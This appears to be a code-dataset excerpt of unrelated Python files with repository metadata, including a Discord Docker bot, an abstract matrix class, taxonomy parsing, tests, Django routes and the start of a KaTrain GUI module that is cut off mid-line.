wicket/commands/__init__.py

GeekMasher/wicket-discord-docker-bot

5f7bfa466718018fba3babe1357115ac19a8ec18

[ "MIT" ]

null

wicket/commands/__init__.py

GeekMasher/wicket-discord-docker-bot

5f7bfa466718018fba3babe1357115ac19a8ec18

[ "MIT" ]

null

import discord from wicket.commands.list import botListServices from wicket.commands.docker_commands import * async def botHelp(cxt, message: discord.Message, **kargvs): TEXT = "Help Options:\n" for name, command in COMMANDS.items(): TEXT += f" - `{cxt.__PREFIX__} {name}` - {command.get('description')}" if command.get("auth"): TEXT += " (auth required)" TEXT += "\n" await message.channel.send(TEXT) COMMANDS = { "help": {"func": botHelp, "auth": False, "description": "Get help with the bot"}, "list": { "func": botListServices, "auth": False, "description": "Get a list of services", }, "start": { "func": botStartServices, "auth": True, "description": "Start a service", }, "restart": { "func": botRestartServices, "auth": True, "description": "Restart a service", }, "stop": { "func": botStopServices, "auth": True, "description": "Stop a service", }, "update": { "func": botUpdateServices, "auth": True, "description": "Update the service", }, }

24.4375

85

0.553282

113

1,173

5.699115

0.451327

0.049689

0.118012

0.071429

0

0.287298

1,173

47

86

24.957447

0.770335

0

0.102564

0

0.295823

0.02387

0

1

0

false

0

0.076923

0

0.076923

0

null

0

null

0

1

0

bb17d26fa2cfe52fac2399248342acf911c767f1

125

py

Python

rl_helper/__init__.py

yiwc/rl_helper

3cb0c088b40dabd3fa17af6e53f7c9563c7ef8b8

[ "MIT" ]

null

rl_helper/__init__.py

yiwc/rl_helper

3cb0c088b40dabd3fa17af6e53f7c9563c7ef8b8

[ "MIT" ]

null

rl_helper/__init__.py

yiwc/rl_helper

3cb0c088b40dabd3fa17af6e53f7c9563c7ef8b8

[ "MIT" ]

null

from rl_helper.envhelper import envhelper,VDisplay from rl_helper.fps import fps from rl_helper.exps import ExperimentManager

41.666667

50

0.88

19

125

5.631579

0.473684

0.168224

0.336449

0

0.088

125

3

51

41.666667

0.938596

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

bb1819c9bd2f8222a4a5fb0e41cee2222fe0b742

12,923

py

Python

abstract_matrix.py

sredroboto/math-matrix

71b8d53fb2b3bd7f8a27dde6a5ee2a4847b135ad

[ "BSD-3-Clause" ]

2

2019-11-21T14:28:50.000Z

2019-11-21T20:58:46.000Z

abstract_matrix.py

sredroboto/SistemaSolar

4fa946adab7e5308639954feb00a2b3bc7153f91

[ "BSD-3-Clause" ]

null

abstract_matrix.py

sredroboto/SistemaSolar

4fa946adab7e5308639954feb00a2b3bc7153f91

[ "BSD-3-Clause" ]

null

from abc import ABC, abstractmethod class AbstractMatrix(ABC): """ Classe utilizada para representar uma matriz """ def __init__(self, rows, cols, data = []): """ Args: rows: Quantidade de linhas da matriz cols: Quantidade de colunas da matriz data: Lista com os valores da matriz, caso a lista seja vazia deve-se preencher com zeros """ self.rows = rows self.cols = cols self._init_data(data) @abstractmethod def __getitem__(self, key): """Recupera um valor armazenado na matriz. Recupera um valor armazenado na posição i, j. A indexação da matriz inicia-se em 1. Args: key: Tupla que contém os valores de i e j Returns: data: O valor armazenado na posição i, j """ pass @abstractmethod def __setitem__(self, key, value): """Armazena um valor na matriz. Armazena um valor na posição i, j. A indexação da matriz inicia-se em 1. Args: key: Tupla que contém os valores de i e j value: Valor a ser armazenado na matriz """ pass @abstractmethod def __repr__(self): """Representação em formato string da matriz. Exibe os dados armazenados em formato de matrix quando o objeto é chamado sem nenhuma invocação de método. Returns: Exibe os dados da matriz formatados no console. Por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> a 1.0000 2.0000 3.0000 4.0000 """ pass @abstractmethod def __str__(self): """Representação em formato string da matriz durante conversão. Exibe os dados armazenados em formato de matrix quando o objeto é convertido para string. Returns: Exibe os dados da matriz formatados no console. Por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> a 1.0000 2.0000 3.0000 4.0000 """ pass @abstractmethod def __radd__(self, other): """Realiza a soma da matrix como operando direito. Realiza a soma da matrix, como operando direito, com outra matrix ou escalar. Para realizar a soma de matrizes, ambas necessitam possuir o mesmo tamanho e na soma de um escalar com a matriz, some o escalar com cada elemento da matriz. Args: other: Matrix ou escalar a ser somado com o objeto atual Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = b + a #> c 3.0000 6.0000 9.0000 12.0000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = 2 + a #> c 3.0000 4.0000 5.0000 6.0000 """ pass @abstractmethod def __add__(self, other): """Realiza a soma da matrix como operando esquerdo. Realiza a soma da matrix, como operando esquerdo, com outra matrix ou escalar. Para realizar a soma de matrizes, ambas necessitam possuir o mesmo tamanho e na soma de um escalar com a matriz, some o escalar com cada elemento da matriz. Args: other: Matrix ou escalar a ser somado com o objeto atual Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = a + b #> c 3.0000 6.0000 9.0000 12.0000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = a + 2 #> c 3.0000 4.0000 5.0000 6.0000 """ pass @abstractmethod def __rsub__(self, other): """Realiza a subtração da matrix como operando direito. Realiza a subtração da matrix, como operando direito, com outra matrix ou escalar. Para realizar a subtração de matrizes, ambas necessitam possuir o mesmo tamanho e na subtração de um escalar com a matriz, subtraia o escalar com cada elemento da matriz. Args: other: Matrix ou escalar a ser subtraido com o objeto atual Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = b - a #> c 1.0000 2.0000 3.0000 4.0000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = 1 - a #> c 0.0000 1.0000 2.0000 3.0000 """ pass @abstractmethod def __sub__(self, other): """Realiza a subtração da matrix como operando esquerdo. Realiza a subtração da matrix, como operando esquerdo, com outra matrix ou escalar. Para realizar a subtração de matrizes, ambas necessitam possuir o mesmo tamanho e na subtração de um escalar com a matriz, subtraia o escalar com cada elemento da matriz. Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = a - b #> c -1.0000 -2.0000 -3.0000 -4.0000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = a - 1 #> c 0.0000 1.0000 2.0000 3.0000 """ pass @abstractmethod def __rmul__(self, other): """Realiza a multiplicação elemento a elemento da matrix como operando direito. Realiza a multiplicação elemento a elemento da matrix, como operando direito, com outra matrix ou escalar. Para realizar a multiplicação elemento a elemento de matrizes, ambas necessitam possuir o mesmo tamanho e na multiplicação elemento a elemento de um escalar com a matriz, multiplique o escalar com cada elemento da matriz. Args: other: Matrix ou escalar a ser multiplicado com o objeto atual Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = b * a #> c 2.0000 8.0000 18.0000 32.0000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = 2 * a #> c 2.0000 4.0000 8.0000 8.0000 """ pass @abstractmethod def __mul__(self, other): """Realiza a multiplicação elemento a elemento da matrix como operando esquerdo. Realiza a multiplicação elemento a elemento da matrix, como operando esquerdo, com outra matrix ou escalar. Para realizar a multiplicação elemento a elemento de matrizes, ambas necessitam possuir o mesmo tamanho e na multiplicação elemento a elemento de um escalar com a matriz, multiplique o escalar com cada elemento da matriz. Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = a * b #> c 2.0000 8.0000 18.0000 32.0000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = a * 2 #> c 2.0000 4.0000 8.0000 8.0000 """ pass @abstractmethod def __rtruediv__(self, other): """Realiza a divisão elemento a elemento da matrix como operando direito. Realiza a divisão elemento a elemento da matrix, como operando direito, com outra matrix ou escalar. Para realizar a divisão elemento a elemento de matrizes, ambas necessitam possuir o mesmo tamanho e na divisão elemento a elemento de um escalar com a matriz, divida o escalar com cada elemento da matriz. Args: other: Matrix ou escalar a ser dividido com o objeto atual Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = b / a #> c 2.0000 2.0000 2.0000 2.0000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = 2 / a #> c 0.5000 1.0000 1.5000 2.0000 """ pass @abstractmethod def __truediv__(self, other): """Realiza a divisão elemento a elemento da matrix como operando esquerdo. Realiza a divisão elemento a elemento da matrix, como operando esquerdo, com outra matrix ou escalar. Para realizar a divisão elemento a elemento de matrizes, ambas necessitam possuir o mesmo tamanho e na divisão elemento a elemento de um escalar com a matriz, divida o escalar com cada elemento da matriz. Args: other: Matrix ou escalar a ser dividido com o objeto atual "Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = a / b #> c 0.5000 0.5000 0.5000 0.5000 #> a = Matrix(2,2,[1, 2, 3, 4]) #> c = a / 2 #> c 0.5000 1.0000 1.5000 2.0000 """ pass @abstractmethod def dot(self, other): """Realiza a multiplicação entre matrizes Para realizar a multiplicação entre matrizes, a primeira matriz deve possuir uma quantidade de colunas igual a quantidade de linhas da segunda matriz. Args: other: Matrix a ser multiplicada com o objeto atual "Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> b = Matrix(2,2,[2, 4, 6, 8]) #> c = a.dot(b) #> c 14.0000 20.0000 30.0000 44.0000 """ pass @abstractmethod def transpose(self): """Realiza a transposição de uma matriz A transposição de uma matriz altera a posição do elemento ij para a posição ji. "Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,3,[1, 2, 3, 4, 5, 6]) #> a 1.0000 2.0000 3.0000 4.0000 5.0000 6.0000 #> c = a.transpose() #> c 1.0000 4.0000 2.0000 5.0000 3.0000 6.0000 """ pass @abstractmethod def gauss_jordan(self): """Aplica o algoritmo de Gauss Jordan na matriz Aplica o método de Gauss-Jordan na matriz corrente. Pode ser utilizado para resolver um sistema de equações lineares, calcular matrix inversa, etc. "Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(3,4,[1, -2, 1, 0, 0, 2, -8, 8, 5, 0, -5, 10]) #> a 1.0000 -2.0000 1.0000 0.0000 0.0000 2.0000 -8.0000 8.0000 5.0000 0.0000 -5.0000 10.0000 #> c = a.gauss_jordan() #> c 1.0000 0.0000 0.0000 1.0000 0.0000 1.0000 0.0000 0.0000 0.0000 0.0000 1.0000 -1.0000 """ pass @abstractmethod def inverse(self): """Calcula a matriz inversa da matriz corrente Realiza o calculo da matrix inversa utilizando o algoritmo de Gauss-Jordan. "Returns: Retorna a matrix resultante da operação, por exemplo: #> a = Matrix(2,2,[1, 2, 3, 4]) #> a 1.0000 -2.0000 1.0000 0.0000 0.0000 2.0000 -8.0000 8.0000 5.0000 0.0000 -5.0000 10.0000 #> c = a.inverse() #> c -2.0000 1.0000 1.5000 -0.5000 """ pass def _init_data(self, data): if data: try: if len(data) == self.rows * self.cols: self.data = data else: raise Exception('Init error', 'The data is incompatible with matrix size') except Exception as e: print(e) else: self.data = [0] * (self.rows * self.cols)

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null

0

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7

bb186d9ac7e63873279e945b49b97d3ba19eab1c

534

py

Python

P0003.py

sebastianaldi17/ProjectEuler

19562fba3456ec904bcc264fb786a92610e42622

[ "MIT" ]

null

P0003.py

sebastianaldi17/ProjectEuler

19562fba3456ec904bcc264fb786a92610e42622

[ "MIT" ]

null

P0003.py

sebastianaldi17/ProjectEuler

19562fba3456ec904bcc264fb786a92610e42622

[ "MIT" ]

null

# Largest prime factor # https://projecteuler.net/problem=3 # Sieve of erasthotenes apporach # But still slow due to iteration to sqrt(n) from math import sqrt question = 600851475143 def solve(n): ans = 1 limit = int(sqrt(n)) prime = [True for i in range(limit+1)] p = 2 while p <= limit: if prime[p]: for i in range(p*2, limit+1, p): prime[i] = False p += 1 for i in range(2, limit+1): if n%i==0 and prime[i]: ans = i return ans print(solve(question))

25.428571

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0.586142

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3.597701

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0.038339

0.057508

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0.058511

0.29588

534

21

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0.1875

0.0625

0

null

0

null

0

1

0

bb1a364dd066752f967226672bd3ed108b79d4bc

239

py

Python

data_structures/binary_heap_operations.py

johnnydevriese/python_fun

01fc5fcc82c7c27e25eabff85a2e88f3554129fe

[ "MIT" ]

null

data_structures/binary_heap_operations.py

johnnydevriese/python_fun

01fc5fcc82c7c27e25eabff85a2e88f3554129fe

[ "MIT" ]

null

data_structures/binary_heap_operations.py

johnnydevriese/python_fun

01fc5fcc82c7c27e25eabff85a2e88f3554129fe

[ "MIT" ]

null

from pythonds.trees.binheap import BinHeap # pythonds so we need to use python2.7 to run bh = BinHeap() bh.insert(5) bh.insert(7) bh.insert(3) bh.insert(11) print(bh.delMin()) print(bh.delMin()) print(bh.delMin()) print(bh.delMin())

13.277778

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0.307692

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239

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null

0

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bb1bdf6c26b937672babc629910c4f289f158546

3,893

py

Python

test/unit/extractor/test_sticky_relations.py

willangenent/abridger

6daa80f7360339376b38544ce60694c5addaa30f

[ "MIT" ]

8

2016-10-19T14:15:34.000Z

2020-06-23T09:37:02.000Z

test/unit/extractor/test_sticky_relations.py

freewilll/abridger

6daa80f7360339376b38544ce60694c5addaa30f

[ "MIT" ]

null

test/unit/extractor/test_sticky_relations.py

freewilll/abridger

6daa80f7360339376b38544ce60694c5addaa30f

[ "MIT" ]

null

import pytest from abridger.extraction_model import Relation from abridger.schema import SqliteSchema from test.unit.extractor.base import TestExtractorBase class TestExtractorStickyRelations(TestExtractorBase): @pytest.fixture() def schema_out(self): ''' test1 -> sticky -> test3 <- test2 -> non_sticky -> test3 <- test2 ''' for stmt in [ ''' CREATE TABLE non_sticky ( id INTEGER PRIMARY KEY, test3_id INTEGER REFERENCES test3 ); ''', ''' CREATE TABLE sticky ( id INTEGER PRIMARY KEY, test3_id INTEGER REFERENCES test3 ); ''', ''' CREATE TABLE test1 ( id INTEGER PRIMARY KEY, sticky INTEGER REFERENCES sticky, non_sticky INTEGER REFERENCES non_sticky ); ''', ''' CREATE TABLE test2 ( id INTEGER PRIMARY KEY, test3_id INTEGER REFERENCES test3 ); ''', ''' CREATE TABLE test3 ( id INTEGER PRIMARY KEY ); ''', ]: self.database.execute(stmt) return SqliteSchema.create_from_conn(self.database.connection) @pytest.fixture() def data_out(self, schema_out): non_sticky = schema_out.tables[0] sticky = schema_out.tables[1] table1 = schema_out.tables[2] table2 = schema_out.tables[3] table3 = schema_out.tables[4] rows = [ (table3, (1,)), (table3, (2,)), (table2, (1, 1)), (table2, (2, 2)), (sticky, (1, 1)), (non_sticky, (1, 2)), (table1, (1, 1, None)), (table1, (2, None, 1)), ] self.database.insert_rows(rows) self.data_everything_except_table2 = ( rows[0:2] + # table 3 rows[4:6] + # sticky and non_sticky rows[6:8] # table 1 ) self.data_everything_except_table2_non_sticky_row = ( rows[0:2] + # table 3 rows[4:6] + # sticky and non_sticky rows[6:8] + # table 1 rows[2:3] # table 2, row 1 ) return rows def test1(self, schema_out, data_out): # Check fetch without any relations, which won't grab any rows in # table 2 table = {'table': 'test1'} self.check_one_subject(schema_out, [table], self.data_everything_except_table2) def test2(self, schema_out, data_out): # Check fetch without sticky relations, which grabs everything table = {'table': 'test1'} relation = {'table': 'test2', 'column': 'test3_id'} self.check_one_subject(schema_out, [table], data_out, relations=[relation]) def test3(self, schema_out, data_out): # Check fetch without sticky relations, but flag test2 as sticky # this should not fetch anything in test2 since there is no sticky # trail table = {'table': 'test1'} def outgoing_sticky_rel(table, col): return {'table': table, 'column': col, 'sticky': True, 'type': Relation.TYPE_OUTGOING} relations = [ outgoing_sticky_rel('test1', 'sticky'), outgoing_sticky_rel('sticky', 'test3_id'), outgoing_sticky_rel('test2', 'test3_id'), {'table': 'test2', 'column': 'test3_id', 'sticky': True}, ] self.check_one_subject( schema_out, [table], self.data_everything_except_table2_non_sticky_row, relations=relations)

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0.267255

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0

null

0

null

0

1

0

bb1d0fc3b94fe211964f09e6d84f5d3d39abde23

6,375

py

Python

edl/gtdb.py

jmeppley/py-metagenomics

0dbab073cb7e52c4826054e40eb802c9e0298e9a

[ "MIT" ]

7

2015-05-14T09:36:36.000Z

2022-03-30T14:32:21.000Z

edl/gtdb.py

jmeppley/py-metagenomics

0dbab073cb7e52c4826054e40eb802c9e0298e9a

[ "MIT" ]

1

2015-07-14T11:47:25.000Z

2015-07-17T01:45:26.000Z

edl/gtdb.py

jmeppley/py-metagenomics

0dbab073cb7e52c4826054e40eb802c9e0298e9a

[ "MIT" ]

7

2015-07-25T22:29:29.000Z

2022-03-01T21:26:14.000Z

""" Tools for parsing GTDB headers into a taxonomy model """ import os import re import sys import logging from edl.taxon import TaxNode, Taxonomy from edl.silva import writeDumpFiles from edl.util import treeGenerator logger = logging.getLogger(__name__) GTDB = 'gtdb' GTDBTAB = 'gtdb_table' PHYLODB = 'phylodb' def generate_taxdump(fasta=None, table=None, dump=".", **kwargs): """ convert a GTDB faa file to ncbi style taxdumps """ if fasta is not None: tax_file = fasta fmt = 'fasta' elif table is not None: tax_file = table fmt = 'table' else: raise Exception("Please supply 'fasta' or 'table' file") tax_args = {k: v for k, v in kwargs.items() if k in ['style']} taxonomy = parse_lineages(tax_file, fmt, **tax_args) dump_args = {k: v for k, v in kwargs.items() if k in ['map_file_name']} dump_taxonomy(taxonomy, dump, **dump_args) def generate_gtdb_lineages_from_table(tax_file): """ return acc,lineage tuple from file """ with open(tax_file) as table_h: # skip header try: next(table_h) except StopIteration: raise Exception("Table is empty!\n" + tax_file) for line in table_h: org, _species, lineage = \ [x.strip() for x in line.split('\t', 4)[:3]] yield (org, lineage) def generate_gtdb_lineages(fasta_file): """ return acc,lineage tuple from file """ with open(fasta_file) as fasta_h: for line in fasta_h: if line.startswith(">"): # in GTDB headers, lineage is second chunk acc, lineage = line[1:].split(None, 2)[:2] yield (acc, lineage) def generate_phylodb_lineages(fasta_file): """ return acc,lineage tuple from file """ with open(fasta_file) as fasta_h: for line in fasta_h: if line.startswith(">"): # in GTDB headers, lineage is second chunk acc, lineage = line[1:].split("\t", 2)[:2] yield (acc, lineage) def parse_lineages(tax_file, fmt='fasta', style=GTDB): """ returns taxonomy object """ id_map = {} root = TaxNode('root', None, None) tree = {'root': root} logger.debug("Parsing %s", tax_file) if style == GTDB: add_lineage_to_tree = add_gtdb_lineage_to_tree generate_lineages = generate_gtdb_lineages else: add_lineage_to_tree = add_phylodb_lineage_to_tree generate_lineages = generate_phylodb_lineages # generate taxonomy tree for acc, lineage in generate_lineages(tax_file): # create TaxNode node = add_lineage_to_tree(lineage, tree) id_map[acc] = node logger.debug("Adding id numbers to %d nodes", len(tree)) # assign numeric IDs i = 0 for node in treeGenerator(root): i += 1 node.id = i logger.debug("Added %d id numbers", i) return Taxonomy(id_map, None, None, tax_file, root) RANK_LIST = ['domain', 'phylum', 'class', 'order', 'family', 'genus', 'species'] def add_phylodb_lineage_to_tree(lineage, tree): """ parse given lineage create new TaxNode objects as needed assumes that there are 7 elements in lineage, one for each rank return leaf node """ last_node = tree['root'] sub_lineage = [] if lineage.startswith('Euk'): # There is an extra entr in the PhyloDB Euk lineages ranks = [RANK_LIST[0], None] + RANK_LIST[1:] else: ranks = RANK_LIST for rank, taxon_string in zip(ranks, lineage.split(';')): sub_lineage.append(taxon_string) taxon = ';'.join(sub_lineage) try: last_node = tree[taxon] except KeyError: new_node = TaxNode(taxon, last_node.id, rank) new_node.name = taxon_string new_node.setParent(last_node) tree[taxon] = new_node last_node = new_node return last_node RANK_DICT = {'d': 'domain', 'p': 'phylum', 'c': 'class', 'o': 'order', 'f': 'family', 'g': 'genus', 's': 'species'} def add_gtdb_lineage_to_tree(lineage, tree): """ parse given lineage create new TaxNode objects as needed assumes lineage names atart with x__ where x is a rank abbreviation return leaf node """ last_node = tree['root'] sub_lineage = [] for taxon_string in lineage.split(';'): rank_char, taxon_name = taxon_string.split('__') rank_char = re.sub(r'^_', '', rank_char) sub_lineage.append(taxon_string) taxon = ';'.join(sub_lineage) try: last_node = tree[taxon] except KeyError: try: rank = RANK_DICT[rank_char] except KeyError: print(lineage) print(rank_char) exit(-1) new_node = TaxNode(taxon, last_node.id, rank) new_node.name = taxon_name new_node.setParent(last_node) tree[taxon] = new_node last_node = new_node return last_node def dump_taxonomy(taxonomy, dump_path, map_file_name='gtdb.acc.to.taxid'): """ generate nodes.dmp and names.dmp """ # Write dump files if not os.path.exists(dump_path): os.makedirs(dump_path) with open(os.path.sep.join((dump_path, 'nodes.dmp')), 'w') as nodes_h: with open(os.path.sep.join((dump_path, 'names.dmp')), 'w') as names_h: writeDumpFiles(taxonomy.root, nodes_h, names_h) # Write hit->tax mapping file if map_file_name is None: return with open(os.path.sep.join((dump_path, map_file_name)), 'w') as acc_map_h: for (hitid, tax_node) in taxonomy.idMap.items(): acc_map_h.write("%s\t%d\n" % (hitid, tax_node.id)) if __name__ == '__main__': """ convert a GTDB faa file to ncbi style taxdumps kw arguments to generate_taxdump passed as args like: python edl/grdb.py fasta=/path/to/x.faa dump=/path/to/dump for reference: generate_taxdump(fasta=None, table=None, dump="."): """ kwargs = dict(w.split("=", 1) for w in sys.argv[1:]) logging.basicConfig(level=logging.DEBUG) logger.debug("args are: %r from:\n%s", kwargs, sys.argv) # do the work: generate_taxdump(**kwargs)

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0.015267

0

null

0

null

0

1

0

bb1e4016be4331d352fd22fa658ec03e7e142dff

161

py

Python

Coursera/CICCP1/dezenas.py

marcelomiky/python_code

4b843c78e16c37e981e4adfe47ae974ee0f2ad81

[ "MIT" ]

2

2020-10-19T13:53:59.000Z

2021-08-05T19:48:07.000Z

Coursera/CICCP1/dezenas.py

marcelomiky/PythonCodes

07f0db8019805b3b9567b7b57ddb49b4333a3aa2

[ "MIT" ]

null

Coursera/CICCP1/dezenas.py

marcelomiky/PythonCodes

07f0db8019805b3b9567b7b57ddb49b4333a3aa2

[ "MIT" ]

null

numero_inteiro = int(input("Digite um número inteiro: ")) temp = numero_inteiro // 10 digito_dezena = temp % 10 print("O dígito das dezenas é", digito_dezena)

23

57

0.732919

24

161

4.75

0.708333

0.22807

0

0.029412

0.15528

161

6

58

26.833333

0.808824

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1

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null

1

0

1

0

null

0

3

bb1ea86265c925701352fac69e22fd621159f5e6

42

py

Python

tests/scope.py

ZYAZP/python2

7dc3b62eff51e1decb4a408122e77630fdc1687d

[ "MIT" ]

1,062

2015-11-18T01:04:33.000Z

2022-03-29T07:13:30.000Z

tests/scope.py

ArrowSides/onelinerizer

7dc3b62eff51e1decb4a408122e77630fdc1687d

[ "MIT" ]

26

2015-11-17T06:58:07.000Z

2022-01-15T18:11:16.000Z

tests/scope.py

ArrowSides/onelinerizer

7dc3b62eff51e1decb4a408122e77630fdc1687d

[ "MIT" ]

100

2015-11-17T09:01:22.000Z

2021-09-12T13:58:28.000Z

x = 2 def foo(): x = 1 foo() print x

6

10

0.452381

9

42

2.111111

0.666667

0

0.076923

0.380952

42

6

11

7

0.653846

0

null

0

null

0.2

1

0

null

0

1

0

null

0

1

0

4

bb1fdf7adb2c4dc824a85213461cdd3a0e0c6c0f

443

py

Python

Kalpurnia/items.py

JasonAnx/Kalpurnia

05760d4d475c6cee9c2158a34bb5fc2c20adb0bf

[ "MIT" ]

4

2017-07-12T06:21:24.000Z

2018-12-21T15:05:48.000Z

Kalpurnia/items.py

JasonAnx/Kalpurnia

05760d4d475c6cee9c2158a34bb5fc2c20adb0bf

[ "MIT" ]

null

Kalpurnia/items.py

JasonAnx/Kalpurnia

05760d4d475c6cee9c2158a34bb5fc2c20adb0bf

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy class Url(scrapy.Item): # define the fields for your item here like: key = scrapy.Field() url = scrapy.Field() pass class Posting(scrapy.Item): # define the fields for your item here like: posting = scrapy.Field() url_id = scrapy.Field() pass

21.095238

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0.128814

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0.214447

443

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0.777778

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null

0

null

0

1

0

1

bb1fea629f2a9e4489bdbe2cada201c3a470df90

38

py

Python

pyqt_helper/__init__.py

morefigs/pyqt-ui-helper

0f80f8483f57fc58a1c58fb2832094c7931b9fa6

[ "MIT" ]

2

2019-07-08T22:57:00.000Z

2022-01-07T10:36:53.000Z

pyqt_helper/__init__.py

morefigs/pyqt-ui-helper

0f80f8483f57fc58a1c58fb2832094c7931b9fa6

[ "MIT" ]

20

2021-05-03T18:02:23.000Z

2022-03-12T12:01:04.000Z

pyqt_helper/__init__.py

morefigs/pyqt-ui-helper

0f80f8483f57fc58a1c58fb2832094c7931b9fa6

[ "MIT" ]

null

from .pyqt_helper import process_file

19

37

0.868421

6

38

5.166667

1

0

0.105263

38

1

38

0.911765

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null

0

1

0

1

0

1

0

6

bb20d40fa7052cc2042b31919fc23245949ffc78

1,107

py

Python

MeetmeApp/urls.py

Susan-Kathoni/Meet-Me

530d14e98a1cb8d14af77397515fe32e31018041

[ "MIT" ]

null

MeetmeApp/urls.py

Susan-Kathoni/Meet-Me

530d14e98a1cb8d14af77397515fe32e31018041

[ "MIT" ]

null

MeetmeApp/urls.py

Susan-Kathoni/Meet-Me

530d14e98a1cb8d14af77397515fe32e31018041

[ "MIT" ]

null

from django.urls import path from django.conf.urls import url, include from . import views from django.conf import settings from django.conf.urls.static import static from .views import * urlpatterns=[ path('', views.home, name="home-page"), path("home/", views.datePage, name="date-page"), #User URL Routes # path("register/", views.register, name="register"), path("profile/", views.profile, name="profile-page"), path("user/<int:pk>/", views.UserDetail.as_view(), name="user-detail"), path("block/<int:pk>/", views.blockUser, name="block"), #Posts URL Routes path("like/<int:pk>/", views.likePost, name="like"), path("new-message/<str:username>",views.WriteMessage.as_view(), name="write-message"), path("view-messages/", views.ViewMessages, name="view-messages"), path("mark-read/<int:pk>", views.MarkAsRead, name="mark-read"), path("delete/<int:pk>", views.DeleteMessage.as_view(), name="delete-message") ] if settings.DEBUG: urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)

39.535714

90

0.666667

144

1,107

5.083333

0.347222

0.034153

0.068306

0.04918

0

0.154472

1,107

28

91

39.535714

0.782051

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0

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0.285714

0

null

0

null

0

1

0

bb218330c462c5abdbf828eb5bc82a026234a3e6

14,872

py

Python

gui/popups.py

Kameone/katrain

6d2f210a1997bf2f8108ca1c0678df6788867022

[ "MIT" ]

null

gui/popups.py

Kameone/katrain

6d2f210a1997bf2f8108ca1c0678df6788867022

[ "MIT" ]

null

gui/popups.py

Kameone/katrain

6d2f210a1997bf2f8108ca1c0678df6788867022

[ "MIT" ]

null

from collections import defaultdict from typing import Dict, List, DefaultDict, Tuple from kivy.clock import Clock from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.label import Label from kivy.uix.popup import Popup from core.common import OUTPUT_DEBUG, OUTPUT_ERROR from core.engine import KataGoEngine from core.game import Game, GameNode from gui.kivyutils import ( BackgroundLabel, LabelledCheckBox, LabelledFloatInput, LabelledIntInput, LabelledObjectInputArea, LabelledSpinner, LabelledTextInput, LightHelpLabel, ScaledLightLabel, StyledButton, StyledSpinner, ) class InputParseError(Exception): pass class QuickConfigGui(BoxLayout): def __init__(self, katrain, popup: Popup, initial_values: Dict = None, **kwargs): super().__init__(**kwargs) self.katrain = katrain self.popup = popup self.orientation = "vertical" if initial_values: self.set_properties(self, initial_values) @staticmethod def type_to_widget_class(value): if isinstance(value, float): return LabelledFloatInput elif isinstance(value, bool): return LabelledCheckBox elif isinstance(value, int): return LabelledIntInput if isinstance(value, dict): return LabelledObjectInputArea else: return LabelledTextInput def collect_properties(self, widget): if isinstance(widget, (LabelledTextInput, LabelledSpinner, LabelledCheckBox)): try: ret = {widget.input_property: widget.input_value} except Exception as e: raise InputParseError(f"Could not parse value for {widget.input_property} ({widget.__class__}): {e}") else: ret = {} for c in widget.children: for k, v in self.collect_properties(c).items(): ret[k] = v return ret def set_properties(self, widget, properties): if isinstance(widget, (LabelledTextInput, LabelledSpinner)): key = widget.input_property if key in properties: widget.text = str(properties[key]) for c in widget.children: self.set_properties(c, properties) class LoadSGFPopup(BoxLayout): pass class NewGamePopup(QuickConfigGui): def __init__(self, katrain, popup: Popup, properties: Dict, **kwargs): properties["RU"] = KataGoEngine.get_rules(katrain.game.root) super().__init__(katrain, popup, properties, **kwargs) self.rules_spinner.values = list(set(self.katrain.engine.RULESETS.values())) self.rules_spinner.text = properties["RU"] def new_game(self): properties = self.collect_properties(self) self.katrain.log(f"New game settings: {properties}", OUTPUT_DEBUG) new_root = GameNode(properties={**Game.DEFAULT_PROPERTIES, **properties}) x, y = new_root.board_size if x > 52 or y > 52: self.info.text = "Board size too big, should be at most 52" return if self.restart.active: self.katrain.log("Restarting Engine") self.katrain.engine.restart() self.katrain("new-game", new_root) self.popup.dismiss() class ConfigPopup(QuickConfigGui): def __init__(self, katrain, popup: Popup, config: Dict, ignore_cats: Tuple = (), **kwargs): self.config = config self.ignore_cats = ignore_cats self.orientation = "vertical" super().__init__(katrain, popup, **kwargs) Clock.schedule_once(self.build, 0) def build(self, _): props_in_col = [0, 0] cols = [BoxLayout(orientation="vertical"), BoxLayout(orientation="vertical")] for k1, all_d in sorted(self.config.items(), key=lambda tup: -len(tup[1])): # sort to make greedy bin packing work better if k1 in self.ignore_cats: continue d = {k: v for k, v in 